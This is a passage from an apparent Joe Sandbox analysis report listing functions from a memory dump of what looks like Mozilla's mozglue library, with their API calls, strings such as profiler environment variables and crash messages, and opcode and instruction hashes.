free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733
., xrefs: 6C9A476A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

